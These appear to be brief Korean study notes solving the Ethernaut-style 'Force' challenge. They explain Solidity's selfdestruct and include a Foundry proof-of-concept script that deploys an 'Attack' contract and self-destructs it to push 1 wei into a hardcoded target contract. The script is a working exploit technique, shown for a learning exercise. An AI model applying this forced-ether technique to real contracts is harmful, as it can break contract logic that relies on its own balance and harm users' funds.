selfdestruct(address recipient)
recipient 주소로 보냄. → 호출하면 컨트랙트는 더 이상 사용 불가.// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Force} from "../src/Force.sol";
contract Attack{
address public target;
constructor(address _target) payable {
target = _target;
}
function destruct() public{
//지금 이 코드를 실행하는 컨트랙트(Attack)를 파괴하고,
//그때 Attack이 들고 있던 잔액을 target 주소로 보냄
selfdestruct(payable(target));
}
}
contract PoC is Script {
address public target = 0x63b0c0950F3570e63D9bc06EcB538d8A9575Ef6e;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
Attack solve = new Attack{value : 1 wei}(target);
solve.destruct();
vm.stopBroadcast();
}
}